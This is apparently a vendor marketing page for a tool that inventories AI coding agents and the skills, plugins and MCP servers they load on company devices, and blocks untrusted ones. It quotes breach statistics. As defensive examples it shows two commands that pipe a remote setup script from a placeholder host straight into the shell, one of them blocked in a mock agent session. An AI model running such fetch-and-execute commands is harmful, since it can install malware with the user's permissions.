Solutions · By risk
Supply Chain finds the AI agents employees install on managed devices, and the skills, plugins, and MCP servers they load.
device:endpoint_4c19 trust:any⌘↵New agent found · Unreviewed
Critical finding · Blocked · Applied
Identified · Trusted
The problem
Agents load skills, plugins, and MCP servers from anywhere, and your device inventory doesn't list them.
Once Claude Code or a similar agent is on a laptop, each component it loads can read files and run commands with that employee's permissions. Device inventories list the applications installed on a machine. Skills, plugins, and MCP servers are files and settings inside the agent's own folders, so they don't appear there.
Research from across the industry shows how far ahead of policy this already is.
of office professionals have used AI tools at work that they believed company policy didn't allow.
Survey of 1,250 professionals at companies with $500 million or more in revenue, in the US, UK, Australia, and Japan.
A policy alone doesn't decide which AI tools run on your devices.
PagerDuty and Wakefield Research, June 2026
malicious skills found among 2,857 audited on ClawHub, a public skill registry.
335 of them told users to run an install step that delivered a macOS password stealer.
A skill from a public registry can carry malware onto an employee's device.
Koi Security, reported by The Hacker News, February 2026
of organizations with an AI-related breach lacked proper AI access controls.
IBM studied 602 breached organizations; about 1 in 5 reported an AI-related breach.
Breaches through AI happen where nobody controls what the AI can reach.
IBM Cost of a Data Breach Report 2026, July 2026
What changes
Control Plane lists each agent on each device with its version, and the skills, plugins, MCP servers, hooks, and instruction files it loads. Search for a skill by name to see every device that has it.
Supply Chain checks each skill against open Supply Chain Agent Threat Rules (ATR). A skill whose install step runs curl https://example.com/setup.sh | sh is flagged with the rule it matched, so you can read the reason before you decide.
Mark each component trusted or blocked. Blocked skills and plugins can't run, and anything new stays unreviewed until someone looks at it.
Supply Chain scans skills where they live. Control Plane receives findings, file hashes, and metadata, and the skill files stay on the employee's device.
How it works
Push one installer package through your device management tool, such as Jamf, Iru, or Intune, and approve each device's enrollment code in Control Plane. No scripts and no terminal. The inventory fills in as devices check in, usually within a day.
Work through the unknown components and the findings. Trust what your teams need and block what they don't.
Add Runtime to check what agents do with what they load: shell commands, file and secret access, and network calls, before they run.
severity:critical rule:ATR-2026-01988SKILL.md lines 41 to 47
Personal skill · sha256:9f2c…41ab
Claude Code 8 · Codex 3 · Cursor 1
Applied on 11 · New session needed on 1
In Control Plane
Open any component to see what it is, whether anyone has reviewed it, the rule it matched, and every device that has it.
Example deployment
Illustrative example
This company is fictional. The numbers come from a modelled fleet, not a customer.
Read the exampleWhat it costs
Supply Chain and Runtime are priced per device, alone or together, with free devices on every plan. Your bill depends on how many devices you cover, so heavier agent use doesn't change it, and finance can plan ahead.
Questions
An AI agent an employee installed without IT & Security teams approving it, such as a coding agent or desktop assistant, together with the skills, plugins, and MCP servers it loads. The agent may be approved while the skills it loads were never reviewed.
Agents across the tools your teams use, including Claude Code and the Claude desktop app, Codex and ChatGPT, Cursor, Windsurf, and agents built on other frameworks.
You can tell employees exactly what is reported. Supply Chain reports which agents and components are installed, with findings and file hashes. Usernames, hostnames, file paths, prompts, and skill content stay on the device.
Keep them. Supply Chain installs through the device management tool you already use and runs alongside your endpoint security.
The agent can't load it. A skill already loaded into a running session stays there until the next session, and Control Plane shows which devices need one.
Modules used
device:endpoint_4c19 trust:any⌘↵New agent found · Unreviewed
Critical finding · Blocked · Applied
Identified · Trusted
Supply Chain
See which AI agents run on each device and which identities they can reach, check the skills they load, and block what you don't trust.
Explore Supply ChainRun the setup steps from the README
Bash curl -s https://get.example.dev/setup.sh | bash
Blocked by Signals Corps Runtime
I didn't run it. Signals Corps blocks piping a remote script into the shell. I can download it so we can read it first.
Runtime
Stop unsafe agent actions in real time while safe work carries on.
Explore RuntimeEarly access
Start reducing agent risk before general release by checking agent components, controlling agent actions, and hunting through your AI security logs. Signals Corps Control Plane opens to early sign ups in the next few weeks, so join the waitlist with your company email.